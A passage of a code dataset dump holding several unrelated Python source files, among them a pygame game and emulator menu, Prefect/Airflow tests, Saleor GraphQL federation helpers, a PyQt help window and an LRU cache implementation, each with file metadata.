m[\"id\"] == int(self.get_id()):\n return m\n\n\n\n","sub_path":"page1_view.py","file_name":"page1_view.py","file_ext":"py","file_size_in_byte":3219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"607990422","text":"#!/usr/bin/python\n# -*- coding:utf-8 -*-\n\nimport re\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ndef plot_num_per_reporter(df):\n reporter = pd.DataFrame(df.loc[:, ['issuekey', 'reporter']])\n reporter = reporter.groupby('reporter').count()\n reporter = reporter[reporter.issuekey > 10]\n print(reporter)\n bar = reporter.plot(kind='bar', title='Num per Reporter')\n \n plt.xticks(np.arange(len(reporter)), reporter.index, rotation=90)\n for p in bar.patches:\n bar.annotate(str(p.get_height()), xy=(p.get_x(), p.get_height()+2))\n\ndef plot_num_per_release(df):\n fixVersions = pd.DataFrame(df.loc[:, ['issuekey', 'fixVersions']])\n for i, r in fixVersions.iterrows():\n s = str(fixVersions.get_value(i, 'fixVersions'))\n fixVersions.set_value(i, 'fixVersions', re.sub(r'((\\d[.]\\d)+(SP1)?)(.*)', '\\g<1>', re.sub(r'\\s', '', s)))\n fixVersions = fixVersions.groupby('fixVersions').count()\n bar = fixVersions.plot(kind='bar', title='Num per Release')\n \n plt.xticks(np.arange(len(fixVersions)), fixVersions.index, rotation=60)\n for p in bar.patches:\n bar.annotate(str(p.get_height()), xy=(p.get_x(), p.get_height()+2))\n\n\n\ndf = pd.read_csv('allResolvedIssues.txt', '@')\nplot_num_per_release(df)\nplot_num_per_reporter(df)\nplt.show()\n","sub_path":"jira_plot.py","file_name":"jira_plot.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"327426059","text":"#!/usr/bin/python3\n\nimport sys\nimport pygame\nfrom pygame.locals import *\nimport subprocess\nimport os\nfrom scroll_menu import Menu\nimport pygame.mixer\nfrom conf import Config\nfrom player import Player\nfrom reset_button_handler import GPIOButtonHandler\nimport copy\n\nglobal current_proc\nglobal is_only_one_game\n\nif not pygame.font.get_init():\n pygame.font.init()\n \ndef exit(menu):\n menu.destroy()\n pygame.display.quit()\n sys.exit()\n \ndef return_to_menu():\n global current_proc\n if current_proc != None:\n current_proc.kill()\n\ndef start_game_if_alone(conf):\n global current_proc\n global is_only_one_game\n files = 0\n filepath = \"\"\n emulator_command = []\n for dirname, dirnames, filenames in os.walk(conf.get_conf_for_label('root')['dir']):\n # print path to all filenames.\n conf_for_dir = conf.get_conf_for_dir(dirname)\n rom_suffixes = conf_for_dir['rom_suffixes']\n emulator_command = copy.deepcopy(conf_for_dir['emulator_command'])\n for filename in filenames:\n if filename[filename.rfind('.'):].lower() in rom_suffixes or len(rom_suffixes) == 0:\n files += 1\n filepath = os.path.join(dirname, filename)\n for i in range(len(emulator_command)):\n if emulator_command[i].find('%ROM%') == -1:\n continue\n emulator_command[i] = emulator_command[i].replace('%ROM%', filepath)\n if files == 1:\n is_only_one_game = True\n current_proc = subprocess.Popen(emulator_command)\n current_proc.wait()\n else:\n is_only_one_game = False\n\n\nif __name__ == \"__main__\":\n global current_proc\n global is_only_one_game\n current_proc = None\n reset_handler = GPIOButtonHandler(return_to_menu, 13)\n reset_handler.start()\n \n conf = Config()\n \n is_only_one_game = True\n while is_only_one_game:\n start_game_if_alone(conf)\n \n player = Player()\n screen = pygame.display.set_mode((0,0), pygame.FULLSCREEN) #0,6671875 and 0,(6) of HD resoultion\n \n menu = Menu(conf, player)\n menu.set_dir(conf.get_conf_for_label('root')['dir'])\n menu.render(screen, full_update = True)\n \n pygame.joystick.init()\n joystick = pygame.joystick.Joystick(0)\n joystick.init()\n pygame.key.set_repeat(199,69)#(delay,interval)\n while 1:\n for event in pygame.event.get():\n if event.type == KEYDOWN:\n # What action should we do?\n if event.key == K_UP:\n menu.move_selection(-1)\n menu.render(screen)\n if event.key == K_DOWN:\n menu.move_selection(1)\n menu.render(screen)\n if event.key == K_RETURN:\n #menu = \n selected_menu_item = menu.menu_items[menu.selected_menu_item]\n if selected_menu_item.action.action_type == 'navigate':\n menu.set_dir(menu.menu_items[menu.selected_menu_item].action.action)\n menu.render(screen, full_update = True)\n elif selected_menu_item.action.action_type == 'execute':\n player.pause()\n pygame.display.quit()\n current_proc = subprocess.Popen(selected_menu_item.action.action)\n current_proc.wait()\n player.resume()\n pygame.display.init()\n pygame.mouse.set_visible(False)\n screen = pygame.display.set_mode((0,0), pygame.FULLSCREEN) #0,6671875 and 0,(6) of HD resoultion\n menu.render(screen, full_update = True)\n if event.key == K_ESCAPE:\n exit(menu)\n elif event.type == QUIT:\n exit(menu)\n\t\n\t#### JOYPAD CONFIGURATION ####\n axis0 = round(joystick.get_axis(0))\n axis1 = round(joystick.get_axis(1))\n if axis1 == -1:\n menu.move_selection(-1)\n menu.render(screen)\n if axis1 == 1:\n menu.move_selection(1)\n menu.render(screen)\n if axis0 == -1:\n menu.move_selection(-3)\n menu.render(screen) \n if axis0 == 1:\n menu.move_selection(3)\n menu.render(screen) \n #menu = \n if joystick.get_button( 0 ) == 1:\n selected_menu_item = menu.menu_items[menu.selected_menu_item]\n if selected_menu_item.action.action_type == 'navigate':\n menu.set_dir(menu.menu_items[menu.selected_menu_item].action.action)\n menu.render(screen, full_update = True)\n elif selected_menu_item.action.action_type == 'execute':\n player.pause()\n pygame.display.quit()\n current_proc = subprocess.Popen(selected_menu_item.action.action)\n current_proc.wait()\n current_proc = None\n player.resume()\n pygame.display.init()\n pygame.mouse.set_visible(False)\n screen = pygame.display.set_mode((0,0), pygame.FULLSCREEN) #0,6671875 and 0,(6) of HD resoultion\n menu.render(screen, full_update = True)\n if joystick.get_button( 1 ) == 1:\n menu.set_dir(menu.back_action.action)\n menu.render(screen, full_update = True)\n pygame.time.wait(8)\n \n","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":5493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"557031721","text":"import pygame\r\nimport sys\r\nfrom pygame.draw import *\r\nfrom random import randint\r\npygame.init()\r\n\r\nprint('Hello! Please enter your name:')\r\nname = input()\r\n\r\nFPS = 20\r\nscreen = pygame.display.set_mode((1200, 800))\r\n\r\nRED = (255, 0, 0)\r\nBLUE = (0, 0, 255)\r\nYELLOW = (255, 255, 0)\r\nGREEN = (0, 255, 0)\r\nMAGENTA = (255, 0, 255)\r\nCYAN = (0, 255, 255)\r\nBLACK = (0, 0, 0)\r\nCOLORS = [RED, BLUE, YELLOW, GREEN, MAGENTA, CYAN]\r\n\r\nrect(screen, (255, 255, 255), (50, 50, 1100, 700))\r\n\r\nscore = 0\r\ncheck = [6, 6]\r\nx = [0, 0]\r\ny = [0, 0]\r\nr = [0, 0]\r\nvx = [0, 0]\r\nvy = [0, 0]\r\ncolor = [RED, RED]\r\nmaxtime = [10, 10]\r\n\r\n\r\ndef new_ball(a): \r\n '''Create a ball \r\n x, y coordinates of a ball\r\n r - radius of a ball\r\n vx, vy - speed of a ball\r\n color - colour of a ball\r\n maxtime - lifetime of a ball'''\r\n global x, y, r, vx, vy, color, maxtime\r\n x[a] = randint(150, 1050)\r\n y[a] = randint(150, 650)\r\n r[a] = randint(10, 100)\r\n vx[a] = randint(-15, 15) \r\n vy[a] = randint(-15, 15) \r\n color[a] = COLORS[randint(0, 5)]\r\n maxtime[a] = randint(10, 50)\r\n circle(screen, color[a], (x[a], y[a]), r[a])\r\n \r\ndef move_ball(a):\r\n global x, y, r, color, vx, vy, maxtime\r\n if x[a] <= 50 + r[a] or x[a] >= 1150 - r[a]:\r\n vx[a] = -vx[a]\r\n if y[a] <= 50 + r[a] or y[a] >= 750 - r[a]:\r\n vy[a] = -vy[a]\r\n x[a] = x[a] + vx[a]\r\n y[a] = y[a] + vy[a]\r\n circle(screen, color[a], (x[a], y[a]), r[a])\r\n \r\nx2 = [0, 0]\r\ny2 = [0, 0]\r\nr2 = [0, 0]\r\nvx2 = [0, 0]\r\nvy2 = [0, 0]\r\ncolor2 = [RED, RED]\r\nmaxtime2 = [10, 10]\r\ncurent_time = [0, 0]\r\ntime_of_motion = [5, 5]\r\ncheck2 = [6, 6]\r\ntime = [0, 0]\r\ncurrent_time_of_game = 0\r\nt = 0\r\n \r\ndef new_square(a): \r\n '''Create a square\r\n x2, y2 - coordinates of a square\r\n r2 - half of lenth of side of square\r\n vx2, vy2 - speed of a square\r\n color2 - colour of a square\r\n maxtime2 - lifetime of a square'''\r\n global x2, y2, r2, vx2, vy2, color2, maxtime2\r\n x2[a] = randint(150, 1050)\r\n y2[a] = randint(150, 650)\r\n r2[a] = randint(20, 40)\r\n vx2[a] = randint(-10, 10) \r\n vy2[a] = randint(-10, 10) \r\n color2[a] = COLORS[randint(0, 5)]\r\n maxtime2[a] = randint(10, 50)\r\n time_of_motion[a] = randint(5, 10)\r\n curent_time[a] = 0\r\n rect(screen, color2[a], (x2[a], y2[a], r2[a] * 2, r2[a] * 2))\r\n \r\n\r\ndef move_square(a):\r\n global x2, y2, r2, color2, vx2, vy2, maxtime2\r\n if curent_time[a] >= time_of_motion[a]:\r\n time_of_motion[a] = randint(5, 10)\r\n vx2[a] = randint(-15, 15)\r\n vy2[a] = randint(-15, 15)\r\n curent_time[a] = 0\r\n else:\r\n curent_time[a] = curent_time[a] + 1\r\n if x2[a] <= 50 or x2[a] >= 1150 - 2 * r2[a]:\r\n vx2[a] = -vx2[a]\r\n if y2[a] <= 50 or y2[a] >= 750 - 2 * r2[a]:\r\n vy2[a] = -vy2[a]\r\n \r\n x2[a] = x2[a] + vx2[a]\r\n y2[a] = y2[a] + vy2[a]\r\n rect(screen, color2[a], (x2[a], y2[a], 2 * r2[a], 2 * r2[a]))\r\n\r\n\r\ndef board(name, score):\r\n with open('C:/Task1/homework/WORK_6/score.txt', 'r') as board:\r\n old_board = board.read().split()\r\n lenth = len(old_board) // 2\r\n name_of_player = [0 for i in range(lenth)]\r\n score_of_player = [0 for i in range(lenth)]\r\n k = -1\r\n for i in range(lenth):\r\n name_of_player[i] = old_board[i * 2]\r\n if name_of_player[i] == name:\r\n k = i\r\n score_of_player[i] = int(old_board[i * 2 + 1])\r\n flag = True\r\n if k < 0: #if this is a new player\r\n name_of_player.append(name)\r\n score_of_player.append(score)\r\n i = 0\r\n while score > score_of_player[lenth - 1 - i] and i != lenth:\r\n score_of_player[lenth - i] = score_of_player[lenth - 1 - i]\r\n name_of_player[lenth - i] = name_of_player[lenth - 1 - i]\r\n name_of_player[lenth - 1 - i] = name\r\n score_of_player[lenth - 1 - i] = score\r\n i = i + 1\r\n new_board = ''\r\n for i in range(lenth + 1):\r\n new_board = new_board + str(name_of_player[i]) + ' ' + str(score_of_player[i]) + '\\n' \r\n else:\r\n if score > score_of_player[k]:\r\n score_of_player[k] = score\r\n while score > score_of_player[k - 1] and k != 0:\r\n score_of_player[k] = score_of_player[k - 1]\r\n name_of_player[k] = name_of_player[k - 1]\r\n score_of_player[k - 1] = score\r\n name_of_player[k - 1] = name\r\n k = k - 1\r\n new_board = ''\r\n for i in range(lenth):\r\n new_board = new_board + str(name_of_player[i]) + ' ' + str(score_of_player[i]) + '\\n' \r\n with open('C:/Task1/homework/WORK_6/score.txt', 'w') as board:\r\n board.write(new_board)\r\n \r\n \r\ndef text(s, f, x, y):\r\n f1 = pygame.font.Font(None, f)\r\n text1 = f1.render(s, True, (225, 225, 225))\r\n screen.blit(text1, (x, y))\r\n \r\n\r\npygame.display.update()\r\nclock = pygame.time.Clock()\r\nfinished = False\r\n\r\nwhile not finished:\r\n clock.tick(FPS)\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n finished = True\r\n print('Your score: ',score)\r\n board(name, score)\r\n print('Board of leaders:')\r\n with open('C:/Task1/homework/WORK_6/score.txt', 'r') as board:\r\n print(board.read())\r\n elif event.type == pygame.MOUSEBUTTONDOWN:\r\n for i in range(2):\r\n d2 = (event.pos[0] - x[i]) ** 2 + (event.pos[1] - y[i]) ** 2\r\n if d2 <= r[i] ** 2:\r\n score = score + 1\r\n new_ball(i)\r\n for i in range(2):\r\n if abs(event.pos[0] - r2[i] - x2[i]) <= r2[i] and abs(event.pos[1] - r2[i] - y2[i]) <= r2[i]:\r\n score = score + 2\r\n new_square(i)\r\n for i in range(2):\r\n if check[i] <= maxtime[i]:\r\n move_ball(i)\r\n check[i] = check[i] + 1\r\n else:\r\n new_ball(i)\r\n check[i] = 0\r\n for i in range(2):\r\n if check2[i] <= maxtime2[i]:\r\n move_square(i)\r\n check2[i] = check2[i] + 1\r\n else:\r\n new_square(i)\r\n check2[i] = 0\r\n pygame.display.update()\r\n screen.fill(BLACK)\r\n rect(screen, (255, 255, 255), (50, 50, 1100, 700))\r\n rect(screen, (0, 0, 0), (51, 51, 1098, 698))\r\n text('Score:' + str(score), 20, 10, 10)\r\n t = t + 1 #time\r\n if t % 2 == 0:\r\n current_time_of_game = current_time_of_game + 0.1\r\n text('Time:' + str(30 - round(current_time_of_game)), 20, 100, 10)\r\n if current_time_of_game // 1 == 30:\r\n finished = True\r\n print('Your score:', score)\r\n print('Board of leaders:')\r\n board(name, score)\r\n with open('C:/Task1/homework/WORK_6/score.txt', 'r') as board:\r\n print(board.read())\r\n\r\npygame.quit()\r\n\r\nwait = input()","sub_path":"LAB_6/balls+score.py","file_name":"balls+score.py","file_ext":"py","file_size_in_byte":6878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"429423415","text":"import os\nimport subprocess\nimport tempfile\n\nimport pytest\n\nfrom prefect import Flow, Task, task, triggers\nfrom prefect.tasks.airflow import AirflowTask, AirflowTriggerDAG\nfrom prefect.tasks.shell import ShellTask\n\npytestmark = pytest.mark.airflow\n\n\n@pytest.fixture(scope=\"module\")\ndef airflow_settings():\n with tempfile.NamedTemporaryFile(\n prefix=\"prefect-airflow\", suffix=\"prefect-airflow-test.db\"\n ) as tmp:\n env = os.environ.copy()\n env[\"AIRFLOW__CORE__SQL_ALCHEMY_CONN\"] = \"sqlite:///\" + tmp.name\n env[\"db_conn\"] = tmp.name\n dag_folder = os.path.join(os.path.dirname(__file__), \"dags\")\n env[\"AIRFLOW__CORE__DAGS_FOLDER\"] = dag_folder\n status = subprocess.check_output(\n [\n \"bash\",\n \"-c\",\n \"source deactivate && source activate airflow && airflow initdb\",\n ],\n env=env,\n )\n yield {\n k: v for k, v in env.items() if k.startswith(\"AIRFLOW\") or k == \"db_conn\"\n }\n\n\nclass TestTaskStructure:\n def test_init_requires_task_and_dag_id(self):\n with pytest.raises(TypeError):\n task = AirflowTask()\n\n with pytest.raises(TypeError):\n task = AirflowTask(task_id=\"task name\")\n\n with pytest.raises(TypeError):\n task = AirflowTask(dag_id=\"dag name\")\n\n def test_name_defaults_to_task_id_but_can_be_changed(self):\n t1 = AirflowTask(task_id=\"test-task\", dag_id=\"blob\")\n assert t1.name == \"test-task\"\n\n t2 = AirflowTask(task_id=\"test-task\", dag_id=\"blob\", name=\"unique\")\n assert t2.name == \"unique\"\n\n def test_command_responds_to_env_name(self):\n t1 = AirflowTask(task_id=\"test-task\", dag_id=\"blob\")\n assert t1.helper_script == \"source deactivate && source activate airflow\"\n\n t2 = AirflowTask(\n task_id=\"test-task\", dag_id=\"blob\", airflow_env=\"airflow_conda_env\"\n )\n assert (\n t2.helper_script == \"source deactivate && source activate airflow_conda_env\"\n )\n\n def test_command_responds_to_cli_flags(self):\n t1 = AirflowTask(task_id=\"test-task\", dag_id=\"blob\", cli_flags=[\"--force\"])\n assert t1.command.startswith(\"airflow run --force\")\n\n\nclass TestSingleTaskRuns:\n def test_airflow_task_successfully_runs_a_task(self, airflow_settings):\n task = AirflowTask(\n db_conn=airflow_settings[\"db_conn\"],\n task_id=\"also_run_this\",\n dag_id=\"example_bash_operator\",\n env=airflow_settings,\n )\n\n flow = Flow(name=\"test single task\", tasks=[task])\n flow_state = flow.run()\n\n assert flow_state.is_successful()\n assert flow_state.result[task].is_successful()\n assert flow_state.result[task].result is None\n\n def test_airflow_task_uses_its_own_trigger_rules_by_default(self, airflow_settings):\n task = AirflowTask(\n db_conn=airflow_settings[\"db_conn\"],\n task_id=\"run_this_last\",\n dag_id=\"example_bash_operator\",\n env=airflow_settings,\n )\n\n with Flow(name=\"test single task\") as flow:\n res = task(execution_date=\"2011-01-01\")\n flow_state = flow.run()\n\n assert flow_state.is_successful()\n assert flow_state.result[res].is_skipped()\n\n def test_airflow_task_uses_cli_flags(self, airflow_settings):\n task = AirflowTask(\n db_conn=airflow_settings[\"db_conn\"],\n task_id=\"run_this_last\",\n dag_id=\"example_bash_operator\",\n cli_flags=[\"-A\"],\n env=airflow_settings,\n )\n\n with Flow(name=\"test single task\") as flow:\n res = task(execution_date=\"2011-01-02\")\n flow_state = flow.run()\n\n assert flow_state.is_successful()\n assert flow_state.result[res].is_successful()\n assert not flow_state.result[res].is_skipped()\n assert flow_state.result[res].result is None\n\n def test_airflow_task_checks_db_state_prior_to_execution(self, airflow_settings):\n pass\n\n def test_airflow_task_converts_xcoms_to_return_values(self, airflow_settings):\n puller = AirflowTask(\n db_conn=airflow_settings[\"db_conn\"],\n task_id=\"puller\",\n dag_id=\"example_xcom\",\n env=airflow_settings,\n execution_date=\"1999-09-20\",\n )\n push = AirflowTask(\n db_conn=airflow_settings[\"db_conn\"],\n task_id=\"push\",\n dag_id=\"example_xcom\",\n env=airflow_settings,\n execution_date=\"1999-09-20\",\n )\n push_by_returning = AirflowTask(\n db_conn=airflow_settings[\"db_conn\"],\n task_id=\"push_by_returning\",\n dag_id=\"example_xcom\",\n env=airflow_settings,\n execution_date=\"1999-09-20\",\n )\n\n with Flow(name=\"xcom\") as flow:\n res = puller(upstream_tasks=[push, push_by_returning])\n\n flow_state = flow.run()\n assert flow_state.is_successful()\n\n # puller\n assert flow_state.result[res].is_successful()\n assert flow_state.result[res].result is None\n\n # push\n assert flow_state.result[push].is_successful()\n assert flow_state.result[push].result == [1, 2, 3]\n\n # push_by_returning\n assert flow_state.result[push_by_returning].is_successful()\n assert flow_state.result[push_by_returning].result == {\"a\": \"b\"}\n\n\nclass TestTriggerDAG:\n def test_basic_trigger_dag_triggers(self, airflow_settings):\n task = AirflowTriggerDAG(\n dag_id=\"tutorial\", execution_date=\"1986-09-20\", env=airflow_settings\n )\n check_task = ShellTask(\n command=\"airflow list_dag_runs tutorial\",\n helper_script=task.helper_script,\n env=airflow_settings,\n )\n\n with Flow(name=\"tutorial\") as flow:\n res = check_task(upstream_tasks=[task])\n\n flow_state = flow.run()\n assert flow_state.is_successful()\n\n check_state = flow_state.result[res]\n assert check_state.is_successful()\n\n # check CLI output\n assert \"manual__1986-09-20T00:00:00+00:00\" in check_state.result\n assert \"running\" in check_state.result\n assert \"1986-09-20T00:00:00+00:00\" in check_state.result\n","sub_path":"tests/tasks/airflow/test_airflow.py","file_name":"test_airflow.py","file_ext":"py","file_size_in_byte":6333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"461126251","text":"from collections import defaultdict\n\nfrom django.conf import settings\nfrom graphene.utils.str_converters import to_snake_case\nfrom graphene_federation import build_schema\nfrom graphene_federation.entity import custom_entities\nfrom graphql import GraphQLError\n\nfrom ..channel import ChannelContext\nfrom .utils import from_global_id_or_error\n\n\ndef build_federated_schema(query=None, mutation=None, **kwargs):\n schema = build_schema(query, mutation, **kwargs)\n set_entity_resolver(schema)\n set_entity_type_resolver(schema)\n return schema\n\n\ndef set_entity_resolver(schema):\n \"\"\"Set type resolver aware of ChannelContext on _Entity union.\"\"\"\n entity = schema.get_type(\"Query\")\n entity.fields[\"_entities\"].resolver = resolve_entities\n\n\ndef resolve_entities(parent, info, representations):\n max_representations = settings.FEDERATED_QUERY_MAX_ENTITIES\n if max_representations and len(representations) > max_representations:\n representations_count = len(representations)\n raise GraphQLError(\n f\"Federated query exceeded entity limit: {representations_count} \"\n f\"items requested over {max_representations}.\"\n )\n\n resolvers = {}\n for representation in representations:\n if representation[\"__typename\"] not in resolvers:\n try:\n model = custom_entities[representation[\"__typename\"]]\n resolvers[representation[\"__typename\"]] = getattr(\n model, \"_%s__resolve_references\" % representation[\"__typename\"]\n )\n except AttributeError:\n pass\n\n batches = defaultdict(list)\n for representation in representations:\n model = custom_entities[representation[\"__typename\"]]\n model_arguments = representation.copy()\n typename = model_arguments.pop(\"__typename\")\n model_arguments = {to_snake_case(k): v for k, v in model_arguments.items()}\n model_instance = model(**model_arguments)\n batches[typename].append(model_instance)\n\n entities = []\n for typename, batch in batches.items():\n if typename not in resolvers:\n continue\n\n resolver = resolvers[typename]\n entities.extend(resolver(batch, info))\n\n return entities\n\n\ndef set_entity_type_resolver(schema):\n \"\"\"Set type resolver aware of ChannelContext on _Entity union.\"\"\"\n entity = schema.get_type(\"_Entity\")\n\n def resolve_entity_type(instance, info):\n # Use new strategy to resolve GraphQL Type for `ObjectType`\n if isinstance(instance, ChannelContext):\n model = type(instance.node)\n else:\n model = type(instance)\n\n model_type = schema.get_type(model._meta.object_name)\n if model_type is None:\n raise ValueError(\n f\"GraphQL type for model {model} could not be found. \"\n \"This is caused by federated type missing get_model method.\"\n )\n\n return model_type\n\n entity.resolve_type = resolve_entity_type\n\n\ndef resolve_federation_references(graphql_type, roots, queryset):\n ids = [\n from_global_id_or_error(root.id, graphql_type, raise_error=True)[1]\n for root in roots\n ]\n objects = {str(obj.id): obj for obj in queryset.filter(id__in=ids)}\n return [objects.get(root_id) for root_id in ids]\n","sub_path":"saleor/graphql/core/federation.py","file_name":"federation.py","file_ext":"py","file_size_in_byte":3332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"494396579","text":"# -*- coding: cp1252 -*-\n\nimport sys\nimport os\nfrom player import Player\nfrom PyQt4 import QtGui, QtCore, Qt\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\nclass TelaAjudaTutoriais(QtGui.QMainWindow):\n def __init__(self):\n super(TelaAjudaTutoriais, self).__init__()\n cursor = QtGui.QCursor(QtGui.QPixmap('icons\\\\pointingHand.png'))\n ###########################################################\n\n self.setObjectName(_fromUtf8(\"self\"))\n self.resize(633, 611)\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(_fromUtf8(\"icons\\\\logo lepe.png\")), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.setWindowIcon(icon)\n self.setStyleSheet(_fromUtf8(\"background-image: url(:ajuda.jpg);\\n\"\n\"\"))\n self.centralwidget = QtGui.QWidget(self)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n\n self.voltarBt = QtGui.QPushButton(self.centralwidget)\n self.voltarBt.setGeometry(QtCore.QRect(520, 560, 75, 23))\n self.voltarBt.setObjectName(_fromUtf8(\"voltarBt\"))\n self.voltarBt.setCursor(cursor)\n\n self.tutorialWidget = QtGui.QWidget(self.centralwidget)\n self.tutorialWidget.setGeometry(QtCore.QRect(40, 30, 553, 376))\n self.tutorialWidget.setStyleSheet(_fromUtf8(\"background-color: rgb(63, 63, 63);\"))\n \n self.tutorialWidget.setObjectName(_fromUtf8(\"tutorialWidget\"))\n\n self.tutorial1Bt = QtGui.QPushButton(self.centralwidget)\n self.tutorial1Bt.setGeometry(QtCore.QRect(40, 440, 181, 71))\n self.tutorial1Bt.setCursor(cursor)\n\n font = QtGui.QFont()\n font.setPointSize(14)\n\n self.tutorial1Bt.setFont(font)\n\n icon1 = QtGui.QIcon()\n icon1.addPixmap(QtGui.QPixmap(_fromUtf8(\"icons\\\\arrow.png\")), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n\n self.tutorial1Bt.setIcon(icon1)\n self.tutorial1Bt.setObjectName(_fromUtf8(\"tutorial1Bt\"))\n self.tutorial2Bt = QtGui.QPushButton(self.centralwidget)\n self.tutorial2Bt.setGeometry(QtCore.QRect(420, 440, 181, 71))\n self.tutorial2Bt.setCursor(cursor)\n\n font = QtGui.QFont()\n font.setPointSize(14)\n\n self.tutorial2Bt.setFont(font)\n self.tutorial2Bt.setIcon(icon1)\n self.tutorial2Bt.setObjectName(_fromUtf8(\"tutorial2Bt\"))\n self.tutorial3Bt = QtGui.QPushButton(self.centralwidget)\n self.tutorial3Bt.setGeometry(QtCore.QRect(230, 440, 181, 71))\n self.tutorial3Bt.setCursor(cursor)\n \n font = QtGui.QFont()\n font.setPointSize(14)\n\n self.tutorial3Bt.setFont(font)\n self.tutorial3Bt.setIcon(icon1)\n self.tutorial3Bt.setObjectName(_fromUtf8(\"tutorial3Bt\"))\n self.setCentralWidget(self.centralwidget)\n\n self.statusbar = QtGui.QStatusBar(self)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n self.setStatusBar(self.statusbar)\n\n self.setWindowTitle(\"Ajuda - Tutoriais\")\n self.voltarBt.setText(\"Voltar\")\n self.tutorial1Bt.setText(\"Escolhendo\\num nível\")\n self.tutorial2Bt.setText(\"Avaliação\\nQuantitativa\")\n self.tutorial3Bt.setText(\"Avaliação\\nQualitativa\")\n\n \n ###########################################################\n \n self.__player1 = Player(self.tutorialWidget)\n\n palette\t= QtGui.QPalette()\n self.setAutoFillBackground(True)\n img = QtGui.QPixmap(\"background\\\\ajuda.jpg\")\n img = img.scaled(QtCore.QSize(self.width(), self.height()))\n palette.setBrush(palette.Background, QtGui.QBrush(img))\n self.setPalette(palette)\n\n self.setMaximumHeight(self.height())\n self.setMaximumWidth(self.width())\n self.setMinimumHeight(self.height())\n self.setMinimumWidth(self.width())\n self.show()\n\n self.__player1.carregar(\"niveis\\\\nivel 1\\\\conts\\\\Cores\\\\video\\\\1- CORES ok.avi\")\n self.tutorial1Bt.clicked.connect(self.mostrarTutorial1)\n self.tutorial2Bt.clicked.connect(self.mostrarTutorial2)\n self.tutorial3Bt.clicked.connect(self.mostrarTutorial3)\n \n self.voltarBt.clicked.connect(self.voltar)\n\n def mostrarTutorial1(self):\n self.__player1.carregar(\"ajuda\\\\tutorial1.avi\")\n\n def mostrarTutorial2(self):\n self.__player1.carregar(\"ajuda\\\\tutorial2.avi\") \n\n def mostrarTutorial3(self):\n self.__player1.carregar(\"ajuda\\\\tutorial3.avi\") \n \n def voltar(self,e):\n #self.a = ajudaMenuInicial.TelaAjuda()\n #self.a.show()\n self.close()\n\n \ndef main():\n app = QtGui.QApplication(sys.argv)\n window = TelaAjudaTutoriais()\n app.exec_()\n\nif __name__ == '__main__':\n sys.exit(main())\n","sub_path":"src/ajudaTutoriais.py","file_name":"ajudaTutoriais.py","file_ext":"py","file_size_in_byte":4751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"67101529","text":"#!/usr/bin/python3\n#Script to parse local pizza menu\n#import pypdf\nimport PyPDF2\n\ndef extract_information(pdf_path):\n with open(pdf_path, 'rb') as f:\n read_pdf = PyPDF2.PdfFileReader(pdf_path)\n number_of_pages = read_pdf.getNumPages()\n\n for page_number in range(number_of_pages):\n page = read_pdf.getPage(page_number)\n page_content = page.extractText()\n print(page_content)\n\nif __name__ == '__main__':\n path = '/PATH/TO/FILE.pdf'\n extract_information(path)\n","sub_path":"Scripts/menuparse.py","file_name":"menuparse.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"178845302","text":"# snapchat google microsoft\n'''\nDesign and implement a data structure for Least Recently Used (LRU) cache. It should support the following operations: get and put.\n\nget(key) - Get the value (will always be positive) of the key if the key exists in the cache, otherwise return -1.\nput(key, value) - Set or insert the value if the key is not already present. When the cache reached its capacity, it should invalidate the least recently used item before inserting a new item.\n\nFollow up:\nCould you do both operations in O(1) time complexity?\n\nExample:\n\nLRUCache cache = new LRUCache( 2 /* capacity */ );\n\ncache.put(1, 1);\ncache.put(2, 2);\ncache.get(1); // returns 1\ncache.put(3, 3); // evicts key 2\ncache.get(2); // returns -1 (not found)\ncache.put(4, 4); // evicts key 1\ncache.get(1); // returns -1 (not found)\ncache.get(3); // returns 3\ncache.get(4); // returns 4\n'''\nclass DLinkedNode:\n def __init__(self, key=-1, val=-1):\n self.key = key\n self.val = val\n self.prev = None\n self.next = None\n\nclass LRUCache:\n\n def __init__(self, capacity):\n \"\"\"\n :type capacity: int\n \"\"\"\n self.capacity = capacity\n self.cache = dict()\n self.head, self.tail = DLinkedNode(), DLinkedNode()\n self.head.next = self.tail\n self.tail.prev = self.head\n\n def get(self, key):\n \"\"\"\n :type key: int\n :rtype: int\n \"\"\"\n if key not in self.cache: return -1\n node = self.cache[key]\n self.__remove_node(node)\n self.__add_node(node)\n return node.val\n\n def put(self, key, value):\n \"\"\"\n :type key: int\n :type value: int\n :rtype: void\n \"\"\"\n if key in self.cache:\n node = self.cache[key]\n node.val = value\n self.__remove_node(node)\n else:\n if len(self.cache) == self.capacity:\n self.cache.pop(self.tail.prev.key)\n self.__remove_node(self.tail.prev)\n node = DLinkedNode(key, value)\n self.cache[key] = node\n self.__add_node(node)\n\n def __remove_node(self, node):\n node.prev.next = node.next\n node.next.prev = node.prev\n\n def __add_node(self, node):\n node.next = self.head.next\n self.head.next.prev = node\n self.head.next = node\n node.prev = self.head\n\ncache = LRUCache(2)\ncache.put(1, 1)\ncache.put(2, 2)\nprint(cache.get(1)) # returns 1\ncache.put(3, 3) # evicts key 2\nprint(cache.get(2)) # returns -1 (not found)\ncache.put(4, 4) # evicts key 1\nprint(cache.get(1)) # returns -1 (not 